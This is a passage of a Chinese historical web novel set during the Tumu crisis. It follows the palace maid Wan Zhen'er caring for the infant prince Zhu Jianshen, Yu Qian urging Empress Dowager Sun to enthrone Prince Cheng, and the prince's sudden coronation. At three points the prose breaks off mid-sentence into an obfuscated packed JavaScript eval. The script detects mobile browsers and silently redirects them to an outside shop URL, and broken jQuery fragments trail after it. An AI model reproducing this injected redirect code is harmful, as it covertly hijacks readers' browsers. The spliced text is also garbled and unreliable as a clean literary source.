回到清宁宫,万贞儿先去直房。见她回来,魏姑姑问:“都妥当了?” “是,郕王妃已经安置下来。”万贞儿将如何请安,如何安顿简要讲了一遍,将郕王妃赏的荷包奉上。“郕王妃给了些赏钱,这是给姑姑的份额。” 赏钱给上头的姑姑分一半,也是惯例了。 魏姑姑扫了一眼,道:“你自己留着吧,我不差这些。再说——”她的语气略有些调侃,“你不是一直在攒出宫养老钱么?” 魏姑姑是看着她长大的,平常除了吃食上花点钱,偶尔托可以出去的宦官带些好吃的,其余时候跟头小貔貅一样,只出不进。 这毛病小时候就有。那时的贞儿尚懵懂,问了,会直接回答:想攒钱等出宫了去买田舍。一本正经的模样给魏姑姑逗乐了。后来大了,心事不在嘴上念了,只是默默攒钱。 万贞儿被点破心思,稍稍有些不好意思:“姑姑,我又没怎么。” 魏姑姑温和地注视着她:“你呀,就真想求恩典出宫去。纵使能出去,宫外的日子,也未必好过。虽说进来有进来的苦处,但外边也有外边的苦处。这世上哪能有真正的净土呢?” 她和万贞儿不同,并非自幼长在宫中,是二十来岁后才经由女官选拔进到宫中。未进宫时,她是年轻的寡妇,因无子嗣,夫族的人拿着宗法乡约试图把她的家私给搬空。魏姑姑是进了宫后,日子才好过的。 所以有时看到万贞儿这等向往着出宫的,会觉得很微妙。墙内墙外,到底哪个才好呢?谁又能说清。 万贞儿微微偏了偏头,思考了片刻,道:“我知道的,不过是一点执念而已。谢谢姑姑关心,如今的日子我也有好好过。” “你心里有数就好。已经晚了,下去歇着吧,明日还有事呢。” 月亮升起,挂在宫阙一角。是下弦月,因此月光并不浓烈,只是很淡很朦胧的一团。 郕王朱祁钰回来时,恰巧瞥见了这点黯淡的月光。 也不知道皇兄行军到何处了,那里的月亮是如何,他心想。 白日,他在文华殿枯坐了一整日。说是监国,但不可能让他这个藩王真坐镇乾清宫,不过是在如今空着的东宫点卯。实际上也就和个摆设一样,政务有内阁大臣,奏本有司礼监。不过是在他面前禀告一遍算完。 到底不比在郕王府,这里身边除了几个亲近内官,全是不熟悉的人,他时时小心,惟恐哪里做得不对,犯了忌讳。这么一日坐下来,明明没什么事,却觉得累极了。 唯一有点欣慰的消息,是听说他的妻子郕王妃也到了宫中。 夜已深,宫灯在廊下晕开一团团昏黄的光。朱祁钰踏入殿内时,郕王妃正在灯下看书。见他来,才把书放下。 “王爷回来了。” “回来”两个字令朱祁钰心一柔,虽说此刻还在宫中用这词并不很妥当,但是郕王妃的意思他明白,也的确令他有种见了她就回到家的感觉。 朱祁钰挨着郕王妃坐下:“你是下午来的?来时大姐儿可哭了?” 郕王妃汪秀英听见这个,抿了抿嘴:“肯定要哭的,大姐儿的性子一向爱哭,先不见了你,我也要走,可不哭得上气不接下气。但是圣旨如此,实在没法子,我狠了心趁她哭累睡着的时候出来的。” 他们的女儿年纪尚幼,虽有乳娘保母,但是日日都在夫妇眼皮子底下。这次两人奉诏入宫暂住,孩子么却不好带来,为人父母的如何不牵挂? 朱祁钰叹息了一声:“只能再等些天,也许小孩子忘性大,哭两天就不哭了。不说这个了,你今日在宫中如何?” “都好。”汪秀英道,“太后看着和睦,让我去给母妃请安。母妃讲,你安心办差就好,少去打扰她老人家。” 朱祁钰一听就知道是怎么回事。母亲从来就是谨小慎微的性格,原本还好些,现在忽然听见他要监国,怕是心里怕得很,万一行差踏错,给他带来灾祸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956471|193143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就更不好了。 但他也不好说些什么,只能又叹息了一声。 汪秀英却起身,亲自倒了一杯茶,递过来:“熬上几天就好了。我也在这里。” 朱祁钰看着妻子沉静温柔的脸庞,浅浅笑了笑,握住她的手:“幸亏你在。” 月落日升、日落月升,宫里的日子一应照旧。 每一天的日常与往常并没有什么不同,万贞儿该当值的日子就好好当差,不当差时,偶尔去周盼儿宫里坐坐。 原先万岁爷在宫中,不知道什么时候会召周盼儿,万贞儿不敢去打扰。如今万岁爷离了宫,她过去倒方便了。 两人简直像是回到更早一点的时光里,互相谈天互相陪伴,哦,还是有一点不一样,多了一个小孩子。 “朱见深,我才是你娘呢!又赖在你贞儿姑姑怀里!” 周盼儿佯装生气,拿了块糖在手里引诱小皇子:“来,过来。” 小皇子瞥了一眼,还是扑在万贞儿怀里。 万贞儿想笑,又怕真惹恼了周盼儿,忍着笑,索性把小皇子抱起来,走到周盼儿身边去。 “许是我今日擦了茉莉香头油,长哥儿喜欢这个味道。来,给娘亲抱抱。” 小皇子被周盼儿抱在怀里,也接受良好,小脸上没什么表情,打了个哈欠。 周盼儿抱着他玩了一会儿,见他要睡了,就交给了乳母抱着。 “小孩子真是愁生不愁长,眼见着沉了。” 她伸了伸懒腰:“等万岁爷回来,我得再生一个皇子,哼,这样就是贵妃也封得了。” 万贞儿知道,她还是在意万宸妃的事。虽然因为万岁爷出征去了,晋封的旨意还没下来,但是不少消息灵通的人已经知道了。这几天万宸妃宫里很是热闹,全是去送礼贺新生的皇子的。 “你想做的事,总归会做到的。”万贞儿轻声道。 周盼儿一挑下巴:“你这话倒说的很中听。我知道,有人背后说我不择手段,宫人上位。可我凭什么不能?我就是过主子的日子,过富贵的日子。有什么错。” 万贞儿只觉她的神气很可爱,笑起来:“嗯。” 忽然外头响起一阵急促到近乎慌乱的脚步声,那脚步声踉踉跄跄,完全失了宫中内侍应有的规矩和分寸。 “砰”的一声,殿门被撞开,一个内侍踉踉跄跄跪在门边,被看门的宫人们拦住:“娘娘在里头呢!疯疯癫癫的,干什么!” 那内侍抬起头,满脸惊恐:“不好了,不好了。万岁爷出事了!” 9. 哄睡 “大胆!说什么胡话!万岁爷是真龙天子,怎会有事?”周盼儿几乎愤怒地大喊起来。 声音尖细,突如其来的一声吓着了刚刚睡着的小皇子,于是孩子的哭声也响起来,回荡在宫殿之中。 那通传的内侍吓得一激灵,瘫坐在地上,分辨道:“就是给我八百个胆子,也不敢编这个呀。确实是听说,说万岁爷在土木堡出大事了!” 万贞儿皱眉道:“说清楚,没头没尾的。若无实话,定要问你的罪。” 内侍磕头道:“真是实话,我刚才在前边看着有人慌乱进宫报信,好奇凑过去听,就听见……” “听见什么?”周盼儿站起身来逼问,“快说!” “……说万岁爷在土木堡被瓦剌军给捉了。” 周盼儿身子晃了晃,万贞儿连忙扶住她,瞧见她的脸上浮现出做梦一般的神情。 “不可能,不可能的。万岁爷怎么会出事。” 但这样的事,就是给这内侍十个脑袋,他也不敢编造。万贞儿咬了咬唇,没接话,扶着周盼儿坐下:“盼儿你别急,坐下来说话。” 一面又扭头叮嘱乳母等人:“好生哄一哄皇子,别抱下去了,过来。” 周盼儿如梦一般的被万贞儿扶着在黄檀木椅子上坐下。 谁也不敢说话,整个宫殿静悄悄的,只有乳母很小声地哄着皇长子的声音,一边拍一边哄“没事,没事”。 等了一瞬,周盼儿回过神,握紧了万贞儿的手:“那我怎么办?” 万贞儿回握住她的手,声音仍稳重:“走,我带你去见太后。” 皇帝在外形势未明,宫中可坐镇的唯有孙太后。 然而不等他们出寝宫去寻孙太后,孙太后的人已经匆匆登门。 魏姑姑亲自带着好几个健壮宫人来了,紧绷着一张脸道: “传太后懿旨,即刻起,皇长子于清宁宫教养。” 说着一点头,她身后的几个健壮宫人立刻上前将抱着皇长子的乳娘围住。 周盼儿瞧他们的动作,竟然是要将皇长子带走,急了,上前就要撕开一个宫人的胳膊:“作甚呢?为什么忽然要把长哥儿带走?放开!不许带走我的儿!” 另一边站着的万贞儿心却一沉到底。 什么情况下,皇太后会连礼仪都不顾了,立刻要把皇长子带回宫中? 除非—— 她望向被众人拥在怀中、争夺的皇长子。 除非情景比方才内侍所言更加严重,皇帝被捉、甚至于……驾崩……那么这个年方两岁的孩童就将是下一任帝王。 刚刚才被哄住的皇长子在这样的情景下,不可抑制地再度大哭起来。 魏姑姑大喝一声:“周娘娘!这是太后的懿旨,你要抗旨吗?” 当头棒喝的一声,周盼儿撕扯宫人的动作停滞住,慌乱、无奈、想哭。最终还是放了手,任凭那些人将皇长子带到身后去。 她摸了一把泪,转而看向万贞儿:“贞儿——” 魏姑姑已领着人快步走出殿,万贞儿望望他们的背影,又瞧瞧周盼儿,语速极快地道:“你放心,有我在。” 然后提起马面裙裙摆,急匆匆地追着一路回到清宁宫。 皇长子也哭了一路,哭声极其嘶哑。 魏姑姑等人回到清宁宫大殿,向皇太后禀报时,仍伴随着哭声。 紫檀雕凤宝座上,孙太后侧身坐着,低着头,耷拉着脸,听见皇长子撕心裂肺的哭声,只觉更加心烦意乱。 “让他别哭了!” 乳母几乎要吓得跪下了,她能哄的都哄了,可这场景连大人都想哭,小孩如何不哭?但又不敢争辩。怀里抱着皇长子像抱一个烫手山芋。好不容易瞥见匆匆跑进殿来的万贞儿,想到上次是这一位哄住了,立刻喊她:“万姑姑,你抱着哄哄。” 万贞儿正跑着上气不接下气,茫然间就接过了皇长子,也不知如何是好,轻轻唱起歌儿哄。 这孩子已经哭得累极了,方才不知道被多少人争着抱过,此刻来到了一个极为温暖的、有着熟悉香气的怀抱,耳畔听见极温柔的歌声,哭哑的嗓子渐渐声音低些。 “月儿弯弯照九州,几家欢喜几家愁,几家夫妇同罗帐,几个飘零在外头?” 旋律重复了几遍,皇长子终于止了啼,小手抓住万贞儿方才跑散了、垂下来的一缕发丝,抓得紧紧的,闭上眼睡去了。 万贞儿松了一口气,抬眸见孙太后正幽幽望着这边。 “今天起,长哥儿就养在咱们宫里。”孙太后道,“贞儿你瞧着些。” “是,贞儿领命。” 孙太后很是有些疲倦的样子,摆了摆手:“带长哥儿下去歇着。” 清宁宫前后几重殿,已经有宫人急匆匆的将东配殿打扫出来。这里原先是太后偶尔来读书之所,床榻炕桌都是有的,此时用来安置皇长子正合适。 万贞儿抱着皇长子,稳稳当当跨过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956472|193143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门槛,原本想将他放在床褥上,然而一放下,这孩子就有些不安的扭头。 怕他又哭起来,万贞儿只得抱着他坐下,望着那张犹带泪痕、却已安睡的小脸。她心想,还是做孩子好,外面天翻地覆,闭上眼也是不知道的。 “你小小年纪,倒会唱哄孩子的歌,很不错。”一个沉稳的女声响起,带着点特别的腔调。 万贞儿抬眸一看,是皇长子朱见深的保母韩桂兰。 她抱着皇长子,不好起身,只点头道:“老老,您来了。” “是,原先正歇着呢,听说了消息,立刻赶过来了。”韩桂兰从小宫女手上接过热毛巾,轻轻地擦抚皇长子的小脸。 乍听皇帝被困土木堡的消息,韩桂兰有些难以置信。自从永乐十六年由朝鲜进宫,她在这宫中呆了三十来年了,从来未曾听过这样的事。 皇帝出征,是常有的。打了败仗,也偶尔有之。可是怎么会连皇帝都被人给围困住呢? 韩桂兰心里百思不得其解,只盼是消息有误。匆匆赶到周娘娘宫中,看见她摔摔打打一地狼藉,又奔至清宁宫,瞧见乳母王氏畏畏缩缩在一边。也就这个正抱着皇长子的年轻宫人稍微像点样子。 “不管外头怎么乱,咱们不能乱。”韩桂兰看向万贞儿,“太后娘娘既然说让你也照看长哥儿,那么万事就该以长哥儿为先。” 万贞儿点头:“奴婢知道的。” 她其实心里也有点乱,不知道是怎么个情况。一时担心外边皇帝被捉的传言,一时想那自己原先掌衣的职务还需要做吗,还是专门伺候长哥儿。总之心思略微浮着,只是面上尚能维持镇定。 此刻在宫中多年,被尊称为女师、老老的韩桂兰有条不紊吩咐宫人安置各样事情,万贞儿的一颗心也渐渐定下来。 不管怎么样,日子还是要过的。 万贞儿低垂着头,轻轻拍着皇长子的背,又哼唱起“月儿弯弯照九州”的曲调。 这支歌原本是年幼时,娘亲哄她睡觉爱唱的。听得多了,这歌声给她一种娘亲的感觉。离开家乡,在黑漆漆马车里,在陌生的房间里睡觉时,她害怕,于是自己给自己低声唱这支歌,假装娘亲还在身旁。唱来唱去,已经是极其熟悉的了。 说起来,这支歌第一个哄的孩子,是她自己。第二个则是怀里的朱见深。 轻柔的歌声里,小皇子的眉目逐渐舒缓,睡得越发沉,只是小手仍紧紧抓住万贞儿的那缕头发不肯放。 10. 社稷为重 稚子犹安睡,长者只觉大厦将倾,不知何去何从。 永乐十八年建成的紫禁城,在正统十四年的这个午后,显出一种奇异的寂静。连蝉鸣都显得有气无力,听不真切。 酷暑尚未褪去,兵部侍郎于谦阴沉着一张脸,行走在紫禁城的甬道上。炎炎烈日正悬于头顶,刺得人无法全然睁开眼睛。 前边就是清宁宫了,按照祖宗定下的规矩,外臣不该踏足后宫之地。可是,有皇帝被围困土木堡之事的噩耗当前,所有的规矩都可以不称之为规矩。 作为兵部侍郎,于谦几乎是最清楚这个噩耗有多么要命的。 皇帝率五十万士兵出征,在土木堡遭遇瓦剌也先主力围攻,兵败如山倒。最要命的是,皇帝本人,大明天子朱祁镇,竟被瓦剌俘虏了。 随驾的兵部尚书邝埜等几十名重臣皆生死未明。不过依照于谦对于老尚书的了解,他多半已经殉国,不然纵使拼了老命也不会使皇帝被瓦剌俘虏。 皇帝重臣如此,那五十万将士更是好不到哪里去,逃出来的少数士兵惊慌失措讲述了经过,都道皇帝已经成为阶下囚。而他们出征所携带的大批辎重刀枪炮火,亦为也先所得。那是大明最精锐的士兵啊!竟然就这样白白葬送了!掏空了大半个国库才凑齐的军火,通通送到了也先手中! 于谦听见消息,都怀疑自己是不是耳朵出了毛病。大明立国八十载,从未有过如此之败绩。历代君主若泉下有知,怕也要气得跳脚。 进殿前,于谦深深吸了一口气,竭力让自己平静下来。 江山已乱,无论如何,自己不能乱。 内官领着他进殿。殿内比外面阴凉许多,巨大的冰山放置在殿内四角,散发着丝丝白气,可是那股凉意却透不进心里。已有寥寥几位留京重臣到场,不论文臣武将,皆是一脸焦色,有人不停地捋着胡须,有人下意识地搓着手指,有人则死死盯着金砖地面,仿佛能在上面看出什么答案来。 偌大的宫殿,像沉浸在暴雨将至未至的燥热中。 于谦扫视了一圈,不见郕王,眉毛跳了一下。 孙太后端坐宝座,垂着首,脸色很不好看。听闻通传声,抬眼看向于谦。 “于大人,国有危难,兵部尚书邝埜眼下回不来了,即刻起,你就是新任兵部尚书。” “微臣领命。”于谦二话不说,立刻答应下来。 其余几个大臣瞧他答应得如此痛快,彼此对视,交换眼神。如此时刻,临危受命升任兵部尚书,听起来是莫大的信任与荣耀。可谁都明白,这未必是福。弄得好,是力挽狂澜的功臣;弄不好,就是千古罪人,召来杀身之祸不过是顷刻之间。可于廷益就这样一口答应了下来,没有推辞,没有惶恐,甚至没有多说一句场面话。 孙太后似乎也愣了一下,但很快颔首道:“皇帝被困之事,诸位皆有耳闻。当此时刻,该如何迎回皇帝,救国于困顿,各位先生可有高见?” 众人面面相觑,没有一个接话的。 这要人如何回答?那瓦剌的首领也先捉了皇帝,难道会肯放人?五十万士兵折损大半,京城防务空虚,从哪里能变出那么多人把皇帝抢回来?若是答应也先的条件,索要赎金还好说,万一他要割地呢?万一他要大明称臣呢? 在场的一个个都是人尖子,深知谁开口,谁就要承担解决问题的道理。于是个个垂下了眼睛,不发一言。 一片死寂中,还是于谦先开了口:“也先有遣使臣传信,索要赎金,此乃信笺。” 说着,从袖中掏出一张书信来。 立刻有内侍接了,双手接过那张轻飘飘却又重如千钧的纸,躬身递给宝座上的孙太后。孙太后接过去,展开信纸的手有些发抖。 她一行一行看过去,这字倒写得很好看,甚至有些眼熟。哼,说不定是皇帝身边哪个亲近内侍投贼后手书。思及此,孙太后恨不得将鼓动皇帝亲征的王振碎尸万段! 定了定神,孙太后看完道:“既如此,赶紧准备。只要能将皇帝送还,金银珠宝皆好说,便是搬空内承运库也在所不惜!” 于谦却反问道:“太后娘娘当真以为,献上金银珠宝,就能迎回皇上吗?” 孙太后捏紧了宝座扶手,连指节都有些泛白。 她自幼聪慧,纵使此刻关心则乱,也不至于分辨不出道理。寻得也先要求的这些宝物容易,可是送去之后,也先只可能更加狮子大张口,索要更多。反正有皇帝在手上,就如同拿住了软肋,源源不断地索要财物。 道理都懂,她怎么会不懂?可是……可是这是她和瞻基的孩子啊! 孙太后的声音徒然尖细起来,一双凤目狠狠盯着于谦:“那又如何,食君之禄、担君之忧,于谦,于大人,那是你的君!难道你要弃皇帝于不顾吗?” “臣不敢,”于谦拱手,丝毫不避讳孙太后的目光,“臣愿舍去性命,只要能迎得皇爷归来,万死莫辞!可惜毫无作用。” 他的声音回响在空旷寂静的殿中:“敢问娘娘,可曾听过投鼠忌器。” “我虽是妇人,但亦读过书。”孙太后冷冷道。 “如今皇爷陷于敌手,瓦剌有恃无恐,趁火打劫,挟天子以令诸侯。我朝投鼠忌器,处处掣肘。边军不敢擅动,唯恐伤及圣驾;朝议难以决断,处处顾虑圣安;便是调兵遣将、筹集粮草,也束手束脚,怕激怒也先,危及皇爷性命。可是破局之法也不是没有。” “说下去。” 于谦深吸一口气,豁出去似的,朗声道:“器不成器,则无需忌。” 太后的脸上怒色越发明显:“你什么意思?” “国不可一日无君。”于谦的声音依旧稳重,“当立新君,昭告天下,如此,则万岁虽陷虏庭,于瓦剌而言,已非大明皇帝,只是太上皇。其挟持之价,便去之大半。朝廷亦可名正言顺,统筹兵马,调拨粮草,与之周旋、谈判……” 太后抓起身旁案几上的茶盏,竟直向于谦投去! 御贡的茶盏,应声而裂,碎片洒落在金砖之上,茶水渐湿于谦的官袍一角。 于谦低头看了看那点子湿痕,然后缓缓地撩起那被沾湿的官袍,“扑通”跪了下去。 他没有说话。 但在场众臣,那些留京的老臣,内阁的学士,六部的主官,不约而同地全都撩袍跪了下去。有人犹豫,有人决绝,但最终所有人都匍匐在地,于沉默中表明了自己的态度。 孙太后望着齐齐跪了一地的重臣。那些绯色、青色、绿色的官袍铺展开来,像一片突然蔓延开的、无声的潮水,淹没了她脚下的金砖地。她仿佛被抽干了力气,向后靠在椅背上,狄髻上的珠翠晃动不定。 怎么就……到了这样的局面呢? 祁镇,娘的儿,你到底为什么要御驾亲征。怎么会弄成这个样子呢?! 孙太后痛苦地闭上眼睛。 良久良久,她才再度睁眼,用干涩的声音道:“事已至此……事已至此。皇长子朱见深,当立为新君。” 跪着的于谦,却再次叩首,额头触在冰凉的金砖上,发出沉闷的响声: “太后娘娘,此事不妥。” “你别太过分了!”孙太后拂袖而起,指着于谦道,“有什么不妥?父终子及,天经地义!” 于谦叹息了一声:“若是寻常之事,自当如此。可如今江山社稷风雨飘摇,国难当头,强敌压境,京师震动,人心惶惶。两岁幼主,如何安民心?” “再有,若立皇长子,置皇爷于何地?皇爷是皇长子生父。今日若立其子而弃其父,置皇长子于何地?将来史笔工笔,‘子弃其父’,皇长子如何担当?我大明以孝治天下,此事若成,伦常何在?颜面何存?” 凤座上的这位,虽慧,却无武吕之慧。他们做臣子的,也无诸葛之威望。仓皇之际,扶立幼主,既无法安民心,反倒示敌以弱,更添动荡。 于谦再度叩首:“请太后三思。” “请太后三思。”众臣亦跟着叩首。 殿内,一片死寂,只有更漏仍沉默地滴答响着。 孙太后咬牙道:“所以呢,依你们的意思,该当如何?” “非常之时,当行非常之法。臣以为,应立刻拥立郕王殿下为帝!” 听到“郕王”两字,孙太后忍不住冷笑了一下。呵,归根结底,这帮大臣还是打的这个主意。 于谦仍然在说话:“郕王乃皇爷之弟,宣宗皇帝亲子,身份尊贵。且殿下已经及冠,温和仁厚,素有贤名,皇爷亲征之前,亦委托国事。由郕王即位,既能即刻理政,稳定大局,又可全伦理。兄终弟及,为尧舜,于新君是临危受命之责,于朝廷是延续国祚之需,于皇爷——将来迎回,奉为太上皇,颐养天年,兄友弟恭,皆可周全。” 他说得周全,字字句句都是江山社稷,可是孙太后僵直着站在原地,甚至不去看他。 见太后久久不回话,于谦索性抬起头,背脊挺得笔直,目光如炬,语气严厉得近乎训诫: “先帝驾崩之时,最挂念者,除了江山社稷,就是太后娘娘。先帝爷对您是何等信任,何等期许!若因一时犹疑,举措失当,致使祖宗基业倾覆,天下大乱。百年之后,黄泉之下,娘娘有何面目,去见先帝爷啊!” 这一声质问,如雷贯耳,“啪”的一声在孙太后耳边炸开。 若大明江山当真有失,她是绝无颜面去见先帝的。 能怎么办呢?能怎么办呢!祁镇,你叫娘怎么办啊! 她在这一瞬间仿佛衰老了十岁,扶着宝座扶手,缓缓地坐下,目光空茫茫地落在前方的金砖上。 远远地,仿佛听见秋蝉最后的呐喊:知了、知了。 知了?你们知了什么呢?知道天子已成阶下囚,知道座辉煌的宫城可能易主吗? 终于,孙太后的嘴唇翕动,发出了轻飘飘的声音,像是从很远的地方传来的,无尽的疲倦与苍凉:“传郕王,立为新君。” 顿了一顿,她接着道:“同时拟旨,立皇长子见深为皇太子。” “太后圣明,臣等领旨。” 于谦深深俯首再拜。 大局已定。 文华殿中的朱祁钰正在作画。 他拈着一管上好的狼毫笔,在宣纸上勾勒出远山的轮廓。画山水画需静,可是他却总有些心神不宁,于是笔下的山水也失了一份逸散的神韵。 朱祁钰试图集中精神,可是不成,总是忍不住想起其他事。 事情不太对劲,饶是他深居简出也察觉到了,不然那些往来传信的内侍如何如此神色匆匆?这两天连朝会、奏本都没有了。 他隐隐察觉到是皇兄那边可能出了事。但是五十万大军护着,大明最精锐的卫兵都在皇兄身边了,能出什么事呢? 一定是他杞人忧天了。 朱祁钰定了定神,想继续作画,悬臂提腕,忽然听见外边一阵嘈杂的脚步声。 “郕王殿下何在?” 很粗的声音凭空响起,给朱祁钰吓了一跳,将将要触到宣纸的笔突然一扭,在山水画上留下一笔突兀又难看的痕迹,无可挽回的痕迹。 宫门被急匆匆推开,几个内侍鱼贯而入,竟然都是司礼监等监的太监。 “殿下,太后传召,速去乾清宫。” “乾清宫?”朱祁钰一愣,“皇兄回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956473|193143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?” 通传的太监嘴角撇了撇,没说话,做了个指引的手势。 朱祁钰见状只得放下笔,连衣裳都没换,就匆匆被拥着往乾清宫去。 到底发生了什么事呢?他的心沉了下去。 乾清宫到了。 正殿里站满了人,朱祁钰一出现,殿中所有人的目光都移了过来,全盯着他。 朱祁钰简直要被吓一跳。 皇帝宝座却空着,显然,皇兄还没回来。 孙太后站在宝座旁边,面无表情,脸色苍白。 朱祁钰硬着头皮跨过了乾清宫高高的门槛,然而就在下一瞬,殿里这些大臣竟然齐齐下跪,向他下跪! 是疯了吗? 朱祁钰胸膛里的一颗心,不可抑制的狂跳起来。 传旨内官的声音响起:“奉太后慈谕,皇帝北狩未归,国不可一日无君,郕王朱祁钰,宣宗皇帝次子,今上之弟,仁孝温良,素有贤名,即皇帝位,以安天下。” 什么玩意儿?是真疯了啊! 朱祁钰腿都软了,如若置身梦中。不对,他就是做梦也不会做这等僭越的梦啊! 他看向孙太后,几乎哀求道:“母后,儿臣从不敢有非分之想的。” 孙太后看着他,叹了口气,摇摇头:“世事难料,祁钰,你,要担此重任。” 说完,仿佛再也说不下去一般转身离去。 朱祁钰看着孙太后的背影,还是茫茫然的模样,下意识想要上前去追,却被于谦揽住。 “殿下,不,陛下,请接旨。” 陛下两个字烙铁一样进了朱祁钰的耳朵,他连忙摆手:“于大人,你别开玩笑了,皇兄在上,我不敢造次……” “你还不明白吗?皇爷回不来了!”于谦握住他的手,“瓦剌虎视眈眈,江山社稷前途不定。陛下不可推辞。” “可是我,我当不了皇帝啊。” 于谦拽着他往丹陛走去:“社稷为重,君为轻。危难之时,别无他法。” 朱祁钰被拉扯着,到了那丹陛前。 那九龙金漆宝座高高在上,是他从前请安都不敢细看的位置。 现在,他被按在了这把椅子上! “参见吾皇万岁,万岁,万万岁!” “万岁,万岁,万万岁——” ****** 夕阳照进清宁宫东配殿。 傍晚的日光,即使是这秋老虎的天气,也会略微柔和的,一层潋滟的金色铺在矮塌上,给凉凉的丝绸垫子增添了一份温度。 午睡起来无聊,万贞儿正陪小皇子玩游戏。她用手掌轻轻遮住小皇子的眼睛。小皇子一时间瞧不见她,疑惑地偏了偏头。 “在这里。”伴随着轻柔的女声,挡在小皇子眼前的手掌迅速移开,骤然重见光明,映入眼帘的便是万贞儿温柔含笑的脸庞。小皇子愣了一下,随即“咯咯”地笑起来。 “喜欢吗?再来。”万贞儿眉眼弯弯,再次遮住小皇子的眼睛,然后再度放开。 每一次瞧见她的脸,小皇子都会高兴地笑起来。 孩童的笑声,听起来总是无忧无虑的。 正玩得兴起,奶娘王氏端着一碗酪过来,笑着喊了声:“万姑姑,长哥儿该进些吃的了。” “好的,我们等会儿再玩,好不好?”万贞儿坐直身子,却很意外的听见了一声稚嫩的“姑姑”。 她一开始没反应过来,扭头去看,正对上小皇子乌黑的眼珠子。小家伙笑着看着她,模仿着方才王氏的声音,又喊了一声“姑姑”。 奶声奶气的,可爱的紧。 “哇,都会叫我了,真聪明。”万贞儿笑着抱了他一抱,然后把他放在膝上,方便奶娘喂吃的。 调羹凑过来,小皇子却牛皮糖似的扭。 “姑姑,喂。” “真拿你没办法。”万贞儿只好接过碗,一点一点地喂小皇子。 喂了小半碗,忽然听见外边传旨宦官的声音:“太后懿旨到——” 太后懿旨?方才太后不是出去了么。万贞儿心里纳罕,给小皇子擦了擦嘴,抱着他出去。 一片灿烂金黄的夕阳里,来人宣布了懿旨: “皇长子见深,聪慧夙成,岐嶷表异……今立为皇太子。” 册立为皇太子?万贞儿下意识觉得有些不对。若是事情真如同猜测的一般,皇帝被俘未归,社稷无主,那么皇长子不应该直接继位为皇帝吗?怎么会立了太子? 莫非是想先立太子,再升为皇帝。可是不对啊,那伙子贼人拿着万岁爷要挟,不就是因为万岁爷是万岁爷吗?按理说若是立了新帝,那边的气焰就该下去了。怎么会只立太子呢。 她飞快思索着,等待宣旨内官念完旨意,带着小皇子,不,现在是皇太子了,领旨谢恩。 “多谢公公。”万贞儿接过圣旨,因见这人也是皇太后身边的熟人,低声问,“只有这道旨意吗?” 那人面色复杂的摇摇头,低声道:“那一位成了真龙喽。” 万贞儿的脸色一下子变了。 是说郕王登基为新帝吗? 可是叔叔当皇帝,侄子当太子,这太子能当得安生? 她的眉头不禁皱起来。 直到感觉衣角被拽了拽,低头去看,是小太子。 万贞儿不解,蹲下来看他。“怎么了?” 然而小太子却伸出手指,轻轻触碰万贞儿紧皱的眉心。 “姑姑,笑。” 万贞儿一怔,心里柔下来。 “好,姑姑没事。” 小太子满意了,又咯咯地笑起来,无忧无虑的。 11. 家宴 未来的烦心事,等到未来再想吧。 左右现在想也无用。 万贞儿定了定神,嘴角复又带上一抹笑,继续陪小皇子玩。 小皇子朱见深封了太子,除了名号之外,其余也没什么变化。 依旧是住在清宁宫,衣食住行都一样,不过侍奉的宫人改了口,原先叫小殿下的,如今改叫小爷。也是惯例的,和皇爷相对应的称呼。 相比之下,另一道懿旨的影响,则更为深远。 万贞儿见到这位新天子,是在清宁宫的宴席上。 自从太上皇被俘的消息传来,清宁宫已经许久未曾设下这样的盛宴了。从膳房到茶房,各个忙碌着。但是与以往的宴席相比会更加安静一些。轻手轻脚的,生怕触到什么眉头。 万贞儿倒没什么要紧的事要做。她如今要紧的事,就是和乳母等人一起看顾好小太子。 说是家宴,邀请的人不多,只有钱皇后、周妃,吴太妃以及郕王夫妻——现在该称呼皇帝皇后了。 周盼儿最先过来,装扮了一番,眼睛里有着笑意,一进到东偏殿就说:“让娘看看,我的小太子在哪里呢?” 小太子瞧见娘亲,笑了起来,放下手里的七巧板要走过去。被周盼儿一把抱起。 “我的儿,你如今是小爷了呢。” 万贞儿跟在身后,听了这话,笑了一下,没说话。 周盼儿逗弄了一番小太子,笑着望向万贞儿:“你把他照顾得很好,我还担心他哭得厉害呢。” “小爷本来就乖。”万贞儿道。 周盼儿将小太子交给乳母他们,拉着万贞儿在矮榻上坐,让其余宫人离得远些站在门口。 “虽说如今皇爷,哦,太上皇尚未归来,是这么个复杂光景,但是见深封了太子,是国本,以后也算是有个定数了。”周盼儿按着胸口低声道,“哎呦,这算是我这些日子以来听过的最好的消息。” “谁说不是呢。”万贞儿附和两句。 